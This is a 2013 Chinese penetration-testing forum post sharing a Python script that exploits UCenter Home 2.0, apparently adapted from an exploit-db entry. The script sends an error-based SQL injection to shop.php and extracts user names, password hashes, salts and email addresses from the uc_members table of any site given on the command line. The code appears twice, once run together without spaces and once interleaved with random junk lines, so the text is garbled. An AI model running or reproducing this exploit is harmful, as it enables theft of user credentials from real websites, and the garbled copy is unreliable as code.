中国网络渗透测试联盟
标题:
UCenter Home 2.0 EXP
[打印本页]
作者:
admin
时间:
2013-1-23 09:18
标题:
UCenter Home 2.0 EXP
#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:
http://www.exploit-db.com/exploits/14997/'
print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
; y3 v+ c; i$ S$ Q1 d
4 e9 X v8 L6 t+ U0 K' Z6 n% S4 M
4 e7 Z$ b+ T7 w8 u% e$ V
#!/usr/bin/env python
8 g0 B) k% f# q8 p
; @( A) w$ T$ X
import sys
6 V' v4 P" a/ H6 h! R& x
import urllib2
& e( g$ y( e2 D: v; u" D
import re
+ J$ m4 ^9 R5 h/ o0 A
% d* H- E5 B) F& `9 S( }. Z$ C; y
def info():
% x9 U! z4 d9 E0 I/ P2 K: N! ^
print 'From:
http://www.exploit-db.com/exploits/14997/'
# R7 V2 U9 G' r: f& v
print 'http://www.hake.cc/Web_loudong/'
" Q# F7 G' v, v- D& X
print 'changed:qiaoy'
6 A; q1 j( Q4 l# ]* ]- P
print 'exp:'
1 _; T/ E. m4 |3 t
print ' ./UCenter_Home_2.0.py site'
$ f5 R M4 {) G, n
7 {0 w+ W9 W* j% ]
def main():
) @7 R9 _1 K# [0 X0 V
if len(sys.argv) != 2:
; \% [5 c0 m7 r& c J) @
info()
, Z6 Z6 u c1 `8 n
else:
8 H" B# _0 p, _- V0 W# {
site = sys.argv[1]
4 c5 m, R" d- A4 {/ d; }
if site[0:7] == 'http://':
8 w3 Z: @7 k! E3 G8 f" \
sitesite =site
/ W1 n0 ^' L5 m' s7 n- I1 N% u
elif site[0:8] == 'https://':
5 ]1 Q4 l! r" I3 J# U" u$ ?
sitesite = site
) e2 ]7 h7 q5 l& W/ M5 U
else:
; _3 ]) M4 _' R: S8 u
site = 'http://'+site
* v8 z4 b( }, n7 Y2 m
try:
- s: ]( Z1 s4 q7 L6 ?2 g& U5 Z
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
( {5 n/ r( {# R) X
Value = urllib2.urlopen(url).read()
& g; ^; h" S6 g# N& i" e& ?! [# Q
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
' N, p4 u' W. W. h1 u& \2 `
hacked = Msg.split(':')
/ m% x$ i' M) {2 M
print 'Name: '+hacked[1]
& p6 |4 {& h; c, O$ Q2 H/ H7 e$ ?
print 'Passwd: '+hacked[2]
: p2 K2 n( G# i6 i" D* j* k
print 'salt: '+hacked[3]
3 {5 l' |" z. l# T1 f0 x. n
print 'email: '+hacked[4]
9 f ~- h6 Q9 a* W3 n Q' r
except:
7 W, r Q# q$ S) v' t6 \
print 'Sorry,I can\'t work............'
6 c. g$ a3 `6 V( I w" ]
2 W7 d0 T- {: `4 x
if __name__ == '__main__':
+ d7 n& h2 |& z" N( m3 J" ~, ]
main()
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2